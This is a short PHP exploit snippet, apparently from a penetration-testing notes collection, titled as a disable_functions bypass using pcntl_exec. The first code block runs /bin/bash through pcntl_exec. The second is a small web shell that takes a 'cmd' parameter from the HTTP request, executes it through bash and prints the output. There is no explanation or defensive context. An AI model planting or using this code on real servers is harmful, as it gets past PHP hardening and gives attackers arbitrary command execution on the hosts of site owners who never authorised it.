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disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec

PHP 4 >= 4.2.0, PHP 5 pcntl_exec

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
$arg = array($cmd, $option, $dir);
pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo '不支持pcntl扩展';
}
?>